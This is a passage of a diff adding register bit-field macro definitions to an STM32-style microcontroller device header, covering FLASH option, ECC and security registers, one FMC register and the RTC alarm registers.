FLASH_HDPEXTR_HDP1_EXT_Pos) /*!< 0x0000001F */ +#define FLASH_HDPEXTR_HDP1_EXT FLASH_HDPEXTR_HDP1_EXT_Msk /*!< HDP area extension in 8kB sectors in bank 1 */ +#define FLASH_HDPEXTR_HDP2_EXT_Pos (16U) +#define FLASH_HDPEXTR_HDP2_EXT_Msk (0x1FUL << FLASH_HDPEXTR_HDP2_EXT_Pos) /*!< 0x001F0000 */ +#define FLASH_HDPEXTR_HDP2_EXT FLASH_HDPEXTR_HDP2_EXT_Msk /*!< HDP area extension in 8kB sectors in bank 2 */ + +/******************* Bits definition for FLASH_OPTSR register ***************/ +#define FLASH_OPTSR_BOR_LEV_Pos (0U) +#define FLASH_OPTSR_BOR_LEV_Msk (0x3UL << FLASH_OPTSR_BOR_LEV_Pos) /*!< 0x00000003 */ +#define FLASH_OPTSR_BOR_LEV FLASH_OPTSR_BOR_LEV_Msk /*!< Brownout level option bit */ +#define FLASH_OPTSR_BOR_LEV_0 (0x1UL << FLASH_OPTSR_BOR_LEV_Pos) /*!< 0x00000001 */ +#define FLASH_OPTSR_BOR_LEV_1 (0x2UL << FLASH_OPTSR_BOR_LEV_Pos) /*!< 0x00000002 */ +#define FLASH_OPTSR_BORH_EN_Pos (2U) +#define FLASH_OPTSR_BORH_EN_Msk (0x1UL << FLASH_OPTSR_BORH_EN_Pos) /*!< 0x00000004 */ +#define FLASH_OPTSR_BORH_EN FLASH_OPTSR_BORH_EN_Msk /*!< Brownout high enable configuration bit */ +#define FLASH_OPTSR_IWDG_SW_Pos (3U) +#define FLASH_OPTSR_IWDG_SW_Msk (0x1UL << FLASH_OPTSR_IWDG_SW_Pos) /*!< 0x00000008 */ +#define FLASH_OPTSR_IWDG_SW FLASH_OPTSR_IWDG_SW_Msk /*!< IWDG control mode option bit */ +#define FLASH_OPTSR_WWDG_SW_Pos (4U) +#define FLASH_OPTSR_WWDG_SW_Msk (0x1UL << FLASH_OPTSR_WWDG_SW_Pos) /*!< 0x00000010 */ +#define FLASH_OPTSR_WWDG_SW FLASH_OPTSR_WWDG_SW_Msk /*!< WWDG control mode option bit */ +#define FLASH_OPTSR_NRST_STOP_Pos (6U) +#define FLASH_OPTSR_NRST_STOP_Msk (0x1UL << FLASH_OPTSR_NRST_STOP_Pos) /*!< 0x00000040 */ +#define FLASH_OPTSR_NRST_STOP FLASH_OPTSR_NRST_STOP_Msk /*!< Stop mode entry reset option bit */ +#define FLASH_OPTSR_NRST_STDBY_Pos (7U) +#define FLASH_OPTSR_NRST_STDBY_Msk (0x1UL << FLASH_OPTSR_NRST_STDBY_Pos) /*!< 0x00000080 */ +#define FLASH_OPTSR_NRST_STDBY FLASH_OPTSR_NRST_STDBY_Msk /*!< Standby mode entry reset option bit */ +#define FLASH_OPTSR_PRODUCT_STATE_Pos (8U) +#define FLASH_OPTSR_PRODUCT_STATE_Msk (0xFFUL << FLASH_OPTSR_PRODUCT_STATE_Pos) /*!< 0x0000FF00 */ +#define FLASH_OPTSR_PRODUCT_STATE FLASH_OPTSR_PRODUCT_STATE_Msk /*!< Life state code option byte */ +#define FLASH_OPTSR_IO_VDD_HSLV_Pos (16U) +#define FLASH_OPTSR_IO_VDD_HSLV_Msk (0x1UL << FLASH_OPTSR_IO_VDD_HSLV_Pos) /*!< 0x00010000 */ +#define FLASH_OPTSR_IO_VDD_HSLV FLASH_OPTSR_IO_VDD_HSLV_Msk /*!< VDD I/O high-speed at low-voltage option bit */ +#define FLASH_OPTSR_IO_VDDIO2_HSLV_Pos (17U) +#define FLASH_OPTSR_IO_VDDIO2_HSLV_Msk (0x1UL << FLASH_OPTSR_IO_VDDIO2_HSLV_Pos) /*!< 0x00020000 */ +#define FLASH_OPTSR_IO_VDDIO2_HSLV FLASH_OPTSR_IO_VDDIO2_HSLV_Msk /*!< VDDIO2 I/O high-speed at low-voltage option bit */ +#define FLASH_OPTSR_IWDG_STOP_Pos (20U) +#define FLASH_OPTSR_IWDG_STOP_Msk (0x1UL << FLASH_OPTSR_IWDG_STOP_Pos) /*!< 0x00100000 */ +#define FLASH_OPTSR_IWDG_STOP FLASH_OPTSR_IWDG_STOP_Msk /*!< Independent watchdog counter freeze in Stop mode */ +#define FLASH_OPTSR_IWDG_STDBY_Pos (21U) +#define FLASH_OPTSR_IWDG_STDBY_Msk (0x1UL << FLASH_OPTSR_IWDG_STDBY_Pos) /*!< 0x00200000 */ +#define FLASH_OPTSR_IWDG_STDBY FLASH_OPTSR_IWDG_STDBY_Msk /*!< Independent watchdog counter freeze in Standby mode */ +#define FLASH_OPTSR_BOOT_UBE_Pos (22U) +#define FLASH_OPTSR_BOOT_UBE_Msk (0xFFUL << FLASH_OPTSR_BOOT_UBE_Pos) /*!< 0x3FC00000 */ +#define FLASH_OPTSR_BOOT_UBE FLASH_OPTSR_BOOT_UBE_Msk /*!< Unique boot entry option byte */ +#define FLASH_OPTSR_SWAP_BANK_Pos (31U) +#define FLASH_OPTSR_SWAP_BANK_Msk (0x1UL << FLASH_OPTSR_SWAP_BANK_Pos) /*!< 0x80000000 */ +#define FLASH_OPTSR_SWAP_BANK FLASH_OPTSR_SWAP_BANK_Msk /*!< Bank swapping option bit */ + +/******************* Bits definition for FLASH_EPOCHR register ***************/ +#define FLASH_EPOCHR_EPOCH_Pos (0U) +#define FLASH_EPOCHR_EPOCH_Msk (0xFFFFFFUL << FLASH_EPOCHR_EPOCH_Pos) /*!< 0x00FFFFFF */ +#define FLASH_EPOCHR_EPOCH FLASH_EPOCHR_EPOCH_Msk /*!< EPOCH counter */ + +/******************* Bits definition for FLASH_OPTSR2 register ***************/ +#define FLASH_OPTSR2_SRAM1_3_RST_Pos (2U) +#define FLASH_OPTSR2_SRAM1_3_RST_Msk (0x1UL << FLASH_OPTSR2_SRAM1_3_RST_Pos) /*!< 0x00000004 */ +#define FLASH_OPTSR2_SRAM1_3_RST FLASH_OPTSR2_SRAM1_3_RST_Msk /*!< SRAM1 and SRAM3 erased when a system reset occurs */ +#define FLASH_OPTSR2_SRAM2_RST_Pos (3U) +#define FLASH_OPTSR2_SRAM2_RST_Msk (0x1UL << FLASH_OPTSR2_SRAM2_RST_Pos) /*!< 0x00000008 */ +#define FLASH_OPTSR2_SRAM2_RST FLASH_OPTSR2_SRAM2_RST_Msk /*!< SRAM2 erased when a system reset occurs*/ +#define FLASH_OPTSR2_BKPRAM_ECC_Pos (4U) +#define FLASH_OPTSR2_BKPRAM_ECC_Msk (0x1UL << FLASH_OPTSR2_BKPRAM_ECC_Pos) /*!< 0x00000010 */ +#define FLASH_OPTSR2_BKPRAM_ECC FLASH_OPTSR2_BKPRAM_ECC_Msk /*!< Backup RAM ECC detection and correction enable */ +#define FLASH_OPTSR2_SRAM2_ECC_Pos (6U) +#define FLASH_OPTSR2_SRAM2_ECC_Msk (0x1UL << FLASH_OPTSR2_SRAM2_ECC_Pos) /*!< 0x00000040 */ +#define FLASH_OPTSR2_SRAM2_ECC FLASH_OPTSR2_SRAM2_ECC_Msk /*!< SRAM2 ECC detection and correction disable */ +#define FLASH_OPTSR2_USBPD_DIS_Pos (8U) +#define FLASH_OPTSR2_USBPD_DIS_Msk (0x1UL << FLASH_OPTSR2_USBPD_DIS_Pos) /*!< 0x00000100 */ +#define FLASH_OPTSR2_USBPD_DIS FLASH_OPTSR2_USBPD_DIS_Msk /*!< USB power delivery configuration disable */ +#define FLASH_OPTSR2_TZEN_Pos (24U) +#define FLASH_OPTSR2_TZEN_Msk (0xFFUL << FLASH_OPTSR2_TZEN_Pos) /*!< 0xFF000000 */ +#define FLASH_OPTSR2_TZEN FLASH_OPTSR2_TZEN_Msk /*!< TrustZone enable */ + +/**************** Bits definition for FLASH_BOOTR register **********************/ +#define FLASH_BOOTR_BOOT_LOCK_Pos (0U) +#define FLASH_BOOTR_BOOT_LOCK_Msk (0xFFUL << FLASH_BOOTR_BOOT_LOCK_Pos) /*!< 0x000000FF */ +#define FLASH_BOOTR_BOOT_LOCK FLASH_BOOTR_BOOT_LOCK_Msk /*!< Boot Lock */ +#define FLASH_BOOTR_BOOTADD_Pos (8U) +#define FLASH_BOOTR_BOOTADD_Msk (0xFFFFFFUL << FLASH_BOOTR_BOOTADD_Pos) /*!< 0xFFFFFF00 */ +#define FLASH_BOOTR_BOOTADD FLASH_BOOTR_BOOTADD_Msk /*!< Boot address */ + +/**************** Bits definition for FLASH_PRIVBBR register *******************/ +#define FLASH_PRIVBBR_PRIVBB_Pos (0U) +#define FLASH_PRIVBBR_PRIVBB_Msk (0xFFFFFFFFUL << FLASH_PRIVBBR_PRIVBB_Pos) /*!< 0xFFFFFFFF */ +#define FLASH_PRIVBBR_PRIVBB FLASH_PRIVBBR_PRIVBB_Msk /*!< Privileged/unprivileged 8-Kbyte Flash sector attribute */ + +/***************** Bits definition for FLASH_SECWMR register ********************/ +#define FLASH_SECWMR_SECWM_STRT_Pos (0U) +#define FLASH_SECWMR_SECWM_STRT_Msk (0x1FUL << FLASH_SECWMR_SECWM_STRT_Pos) /*!< 0x0000001F */ +#define FLASH_SECWMR_SECWM_STRT FLASH_SECWMR_SECWM_STRT_Msk /*!< Start sector of secure area */ +#define FLASH_SECWMR_SECWM_END_Pos (16U) +#define FLASH_SECWMR_SECWM_END_Msk (0x1FUL << FLASH_SECWMR_SECWM_END_Pos) /*!< 0x001F0000 */ +#define FLASH_SECWMR_SECWM_END FLASH_SECWMR_SECWM_END_Msk /*!< End sector of secure area */ + +/***************** Bits definition for FLASH_WRPR register *********************/ +#define FLASH_WRPR_WRPSG_Pos (0U) +#define FLASH_WRPR_WRPSG_Msk (0x000000FFUL << FLASH_WRPR_WRPSG_Pos) /*!< 0x000000FF */ +#define FLASH_WRPR_WRPSG FLASH_WRPR_WRPSG_Msk /*!< Sector group protection option status */ + +/***************** Bits definition for FLASH_EDATA register ********************/ +#define FLASH_EDATAR_EDATA_STRT_Pos (0U) +#define FLASH_EDATAR_EDATA_STRT_Msk (0x7UL << FLASH_EDATAR_EDATA_STRT_Pos) /*!< 0x00000007 */ +#define FLASH_EDATAR_EDATA_STRT FLASH_EDATAR_EDATA_STRT_Msk /*!< Flash high-cycle data start sector */ +#define FLASH_EDATAR_EDATA_EN_Pos (15U) +#define FLASH_EDATAR_EDATA_EN_Msk (0x1UL << FLASH_EDATAR_EDATA_EN_Pos) /*!< 0x00008000 */ +#define FLASH_EDATAR_EDATA_EN FLASH_EDATAR_EDATA_EN_Msk /*!< Flash high-cycle data enable */ + +/***************** Bits definition for FLASH_HDPR register ********************/ +#define FLASH_HDPR_HDP_STRT_Pos (0U) +#define FLASH_HDPR_HDP_STRT_Msk (0x1FUL << FLASH_HDPR_HDP_STRT_Pos) /*!< 0x0000001F */ +#define FLASH_HDPR_HDP_STRT FLASH_HDPR_HDP_STRT_Msk /*!< Start sector of hide protection area */ +#define FLASH_HDPR_HDP_END_Pos (16U) +#define FLASH_HDPR_HDP_END_Msk (0x1FUL << FLASH_HDPR_HDP_END_Pos) /*!< 0x001F0000 */ +#define FLASH_HDPR_HDP_END FLASH_HDPR_HDP_END_Msk /*!< End sector of hide protection area */ + +/******************* Bits definition for FLASH_ECCR register ***************/ +#define FLASH_ECCR_ADDR_ECC_Pos (0U) +#define FLASH_ECCR_ADDR_ECC_Msk (0xFFFFUL << FLASH_ECCR_ADDR_ECC_Pos) /*!< 0x0000FFFF */ +#define FLASH_ECCR_ADDR_ECC FLASH_ECCR_ADDR_ECC_Msk /*!< ECC fail address */ +#define FLASH_ECCR_OBK_ECC_Pos (20U) +#define FLASH_ECCR_OBK_ECC_Msk (0x1UL << FLASH_ECCR_OBK_ECC_Pos) /*!< 0x00200000 */ +#define FLASH_ECCR_OBK_ECC FLASH_ECCR_OBK_ECC_Msk /*!< Flash OB Keys storage area ECC fail */ +#define FLASH_ECCR_DATA_ECC_Pos (21U) +#define FLASH_ECCR_DATA_ECC_Msk (0x1UL << FLASH_ECCR_DATA_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_DATA_ECC FLASH_ECCR_DATA_ECC_Msk /*!< Flash high-cycle data ECC fail */ +#define FLASH_ECCR_BK_ECC_Pos (22U) +#define FLASH_ECCR_BK_ECC_Msk (0x1UL << FLASH_ECCR_BK_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_BK_ECC FLASH_ECCR_BK_ECC_Msk /*!< ECC fail bank */ +#define FLASH_ECCR_SYSF_ECC_Pos (23U) +#define FLASH_ECCR_SYSF_ECC_Msk (0x1UL << FLASH_ECCR_SYSF_ECC_Pos) /*!< 0x00800000 */ +#define FLASH_ECCR_SYSF_ECC FLASH_ECCR_SYSF_ECC_Msk /*!< System Flash ECC fail */ +#define FLASH_ECCR_OTP_ECC_Pos (24U) +#define FLASH_ECCR_OTP_ECC_Msk (0x1UL << FLASH_ECCR_OTP_ECC_Pos) /*!< 0x01000000 */ +#define FLASH_ECCR_OTP_ECC FLASH_ECCR_OTP_ECC_Msk /*!< Flash OTP ECC fail */ +#define FLASH_ECCR_ECCIE_Pos (25U) +#define FLASH_ECCR_ECCIE_Msk (0x1UL << FLASH_ECCR_ECCIE_Pos) /*!< 0x02000000 */ +#define FLASH_ECCR_ECCIE FLASH_ECCR_ECCIE_Msk /*!< ECC correction interrupt enable */ +#define FLASH_ECCR_ECCC_Pos (30U) +#define FLASH_ECCR_ECCC_Msk (0x1UL << FLASH_ECCR_ECCC_Pos) /*!< 0x40000000 */ +#define FLASH_ECCR_ECCC FLASH_ECCR_ECCC_Msk /*!< ECC correction */ +#define FLASH_ECCR_ECCD_Pos (31U) +#define FLASH_ECCR_ECCD_Msk (0x1UL << FLASH_ECCR_ECCD_Pos) /*!< 0x80000000 */ +#define FLASH_ECCR_ECCD FLASH_ECCR_ECCD_Msk /*!< ECC detection */ + +/******************* Bits definition for FLASH_ECCDR register ***************/ +#define FLASH_ECCDR_FAIL_DATA_Pos (0U) +#define FLASH_ECCDR_FAIL_DATA_Msk (0xFFFFUL << FLASH_ECCDR_FAIL_DATA_Pos) /*!< 0x0000FFFF */ +#define FLASH_ECCDR_FAIL_DATA FLASH_ECCDR_FAIL_DATA_Msk /*!< ECC fail data */ + +/******************************************************************************/ +/* */ +/* Flexible Memory Controller */ +/* */ +/******************************************************************************/ +/****************** Bit definition for FMC_BCR1 register *******************/ +#define FMC_BCR1_CCLKEN_Pos (20U) +#define FMC_BCR1_CCLKEN_Msk (0x1UL << FMC_BCR1_CCLKEN_Pos) /*!< 0x00100000 */ +#define FMC_BCR1_CCLKEN FMC_BCR1_CCLKEN_Msk /*! */ + +/******************** Bits definition for RTC_ALRMAR register ***************/ +#define RTC_ALRMAR_SU_Pos (0U) +#define RTC_ALRMAR_SU_Msk (0xFUL << RTC_ALRMAR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMAR_SU RTC_ALRMAR_SU_Msk +#define RTC_ALRMAR_SU_0 (0x1UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMAR_SU_1 (0x2UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMAR_SU_2 (0x4UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMAR_SU_3 (0x8UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMAR_ST_Pos (4U) +#define RTC_ALRMAR_ST_Msk (0x7UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMAR_ST RTC_ALRMAR_ST_Msk +#define RTC_ALRMAR_ST_0 (0x1UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMAR_ST_1 (0x2UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMAR_ST_2 (0x4UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMAR_MSK1_Pos (7U) +#define RTC_ALRMAR_MSK1_Msk (0x1UL << RTC_ALRMAR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMAR_MSK1 RTC_ALRMAR_MSK1_Msk +#define RTC_ALRMAR_MNU_Pos (8U) +#define RTC_ALRMAR_MNU_Msk (0xFUL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMAR_MNU RTC_ALRMAR_MNU_Msk +#define RTC_ALRMAR_MNU_0 (0x1UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMAR_MNU_1 (0x2UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMAR_MNU_2 (0x4UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMAR_MNU_3 (0x8UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMAR_MNT_Pos (12U) +#define RTC_ALRMAR_MNT_Msk (0x7UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMAR_MNT RTC_ALRMAR_MNT_Msk +#define RTC_ALRMAR_MNT_0 (0x1UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMAR_MNT_1 (0x2UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMAR_MNT_2 (0x4UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMAR_MSK2_Pos (15U) +#define RTC_ALRMAR_MSK2_Msk (0x1UL << RTC_ALRMAR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMAR_MSK2 RTC_ALRMAR_MSK2_Msk +#define RTC_ALRMAR_HU_Pos (16U) +#define RTC_ALRMAR_HU_Msk (0xFUL << RTC_ALRMAR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMAR_HU RTC_ALRMAR_HU_Msk +#define RTC_ALRMAR_HU_0 (0x1UL << RTC_ALRMAR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMAR_HU_1 (0x2UL << RTC_ALRMAR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMAR_HU_2 (0x4UL << RTC_ALRMAR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMAR_HU_3 (0x8UL << RTC_ALRMAR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMAR_HT_Pos (20U) +#define RTC_ALRMAR_HT_Msk (0x3UL << RTC_ALRMAR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMAR_HT RTC_ALRMAR_HT_Msk +#define RTC_ALRMAR_HT_0 (0x1UL << RTC_ALRMAR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMAR_HT_1 (0x2UL << RTC_ALRMAR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMAR_PM_Pos (22U) +#define RTC_ALRMAR_PM_Msk (0x1UL << RTC_ALRMAR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMAR_PM RTC_ALRMAR_PM_Msk +#define RTC_ALRMAR_MSK3_Pos (23U) +#define RTC_ALRMAR_MSK3_Msk (0x1UL << RTC_ALRMAR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMAR_MSK3 RTC_ALRMAR_MSK3_Msk +#define RTC_ALRMAR_DU_Pos (24U) +#define RTC_ALRMAR_DU_Msk (0xFUL << RTC_ALRMAR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMAR_DU RTC_ALRMAR_DU_Msk +#define RTC_ALRMAR_DU_0 (0x1UL << RTC_ALRMAR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMAR_DU_1 (0x2UL << RTC_ALRMAR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMAR_DU_2 (0x4UL << RTC_ALRMAR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMAR_DU_3 (0x8UL << RTC_ALRMAR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMAR_DT_Pos (28U) +#define RTC_ALRMAR_DT_Msk (0x3UL << RTC_ALRMAR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMAR_DT RTC_ALRMAR_DT_Msk +#define RTC_ALRMAR_DT_0 (0x1UL << RTC_ALRMAR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMAR_DT_1 (0x2UL << RTC_ALRMAR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMAR_WDSEL_Pos (30U) +#define RTC_ALRMAR_WDSEL_Msk (0x1UL << RTC_ALRMAR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMAR_WDSEL RTC_ALRMAR_WDSEL_Msk +#define RTC_ALRMAR_MSK4_Pos (31U) +#define RTC_ALRMAR_MSK4_Msk (0x1UL << RTC_ALRMAR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMAR_MSK4 RTC_ALRMAR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMASSR register *************/ +#define RTC_ALRMASSR_SS_Pos (0U) +#define RTC_ALRMASSR_SS_Msk (0x7FFFUL << RTC_ALRMASSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMASSR_SS RTC_ALRMASSR_SS_Msk +#define RTC_ALRMASSR_MASKSS_Pos (24U) +#define RTC_ALRMASSR_MASKSS_Msk (0x3FUL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x3F000000 */ +#define RTC_ALRMASSR_MASKSS RTC_ALRMASSR_MASKSS_Msk +#define RTC_ALRMASSR_MASKSS_0 (0x1UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMASSR_MASKSS_1 (0x2UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMASSR_MASKSS_2 (0x4UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMASSR_MASKSS_3 (0x8UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMASSR_MASKSS_4 (0x10UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x10000000 */ +#define RTC_ALRMASSR_MASKSS_5 (0x20UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x20000000 */ +#define RTC_ALRMASSR_SSCLR_Pos (31U) +#define RTC_ALRMASSR_SSCLR_Msk (0x1UL << RTC_ALRMASSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMASSR_SSCLR RTC_ALRMASSR_SSCLR_Msk + +/******************** Bits definition for RTC_ALRMBR register ***************/ +#define RTC_ALRMBR_SU_Pos (0U) +#define RTC_ALRMBR_SU_Msk (0xFUL << RTC_ALRMBR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMBR_SU RTC_ALRMBR_SU_Msk +#define RTC_ALRMBR_SU_0 (0x1UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMBR_SU_1 (0x2UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMBR_SU_2 (0x4UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMBR_SU_3 (0x8UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMBR_ST_Pos (4U) +#define RTC_ALRMBR_ST_Msk (0x7UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMBR_ST RTC_ALRMBR_ST_Msk +#define RTC_ALRMBR_ST_0 (0x1UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMBR_ST_1 (0x2UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMBR_ST_2 (0x4UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMBR_MSK1_Pos (7U) +#define RTC_ALRMBR_MSK1_Msk (0x1UL << RTC_ALRMBR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMBR_MSK1 RTC_ALRMBR_MSK1_Msk +#define RTC_ALRMBR_MNU_Pos (8U) +#define RTC_ALRMBR_MNU_Msk (0xFUL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMBR_MNU RTC_ALRMBR_MNU_Msk +#define RTC_ALRMBR_MNU_0 (0x1UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMBR_MNU_1 (0x2UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMBR_MNU_2 (0x4UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMBR_MNU_3 (0x8UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMBR_MNT_Pos (12U) +#define RTC_ALRMBR_MNT_Msk (0x7UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMBR_MNT RTC_ALRMBR_MNT_Msk +#define RTC_ALRMBR_MNT_0 (0x1UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMBR_MNT_1 (0x2UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMBR_MNT_2 (0x4UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMBR_MSK2_Pos (15U) +#define RTC_ALRMBR_MSK2_Msk (0x1UL << RTC_ALRMBR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMBR_MSK2 RTC_ALRMBR_MSK2_Msk +#define RTC_ALRMBR_HU_Pos (16U) +#define RTC_ALRMBR_HU_Msk (0xFUL << RTC_ALRMBR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMBR_HU RTC_ALRMBR_HU_Msk +#define RTC_ALRMBR_HU_0 (0x1UL << RTC_ALRMBR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMBR_HU_1 (0x2UL << RTC_ALRMBR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMBR_HU_2 (0x4UL << RTC_ALRMBR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMBR_HU_3 (0x8UL << RTC_ALRMBR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMBR_HT_Pos (20U) +#define RTC_ALRMBR_HT_Msk (0x3UL << RTC_ALRMBR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMBR_HT RTC_ALRMBR_HT_Msk +#define RTC_ALRMBR_HT_0 (0x1UL << RTC_ALRMBR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMBR_HT_1 (0x2UL << RTC_ALRMBR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMBR_PM_Pos (22U) +#define RTC_ALRMBR_PM_Msk (0x1UL << RTC_ALRMBR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMBR_PM RTC_ALRMBR_PM_Msk +#define RTC_ALRMBR_MSK3_Pos (23U) +#define RTC_ALRMBR_MSK3_Msk (0x1UL << RTC_ALRMBR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMBR_MSK3 RTC_ALRMBR_MSK3_Msk +#define RTC_ALRMBR_DU_Pos (24U) +#define RTC_ALRMBR_DU_Msk (0xFUL << RTC_ALRMBR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBR_DU RTC_ALRMBR_DU_Msk +#define RTC_ALRMBR_DU_0 (0x1UL << RTC_ALRMBR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBR_DU_1 (0x2UL << RTC_ALRMBR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBR_DU_2 (0x4UL << RTC_ALRMBR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBR_DU_3 (0x8UL << RTC_ALRMBR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBR_DT_Pos (28U) +#define RTC_ALRMBR_DT_Msk (0x3UL << RTC_ALRMBR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMBR_DT RTC_ALRMBR_DT_Msk +#define RTC_ALRMBR_DT_0 (0x1UL << RTC_ALRMBR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBR_DT_1 (0x2UL << RTC_ALRMBR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBR_WDSEL_Pos (30U) +#define RTC_ALRMBR_WDSEL_Msk (0x1UL << RTC_ALRMBR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMBR_WDSEL RTC_ALRMBR_WDSEL_Msk +#define RTC_ALRMBR_MSK4_Pos (31U) +#define RTC_ALRMBR_MSK4_Msk (0x1UL << RTC_ALRMBR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBR_MSK4 RTC_ALRMBR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMBSSR register *************/ +#define RTC_ALRMBSSR_SS_Pos (0U) +#define RTC_ALRMBSSR_SS_Msk (0x7FFFUL << RTC_ALRMBSSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMBSSR_SS RTC_ALRMBSSR_SS_Msk +#define RTC_ALRMBSSR_MASKSS_Pos (24U) +#define RTC_ALRMBSSR_MASKSS_Msk (0x3FUL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x3F000000 */ +#define RTC_ALRMBSSR_MASKSS RTC_ALRMBSSR_MASKSS_Msk +#define RTC_ALRMBSSR_MASKSS_0 (0x1UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBSSR_MASKSS_1 (0x2UL << 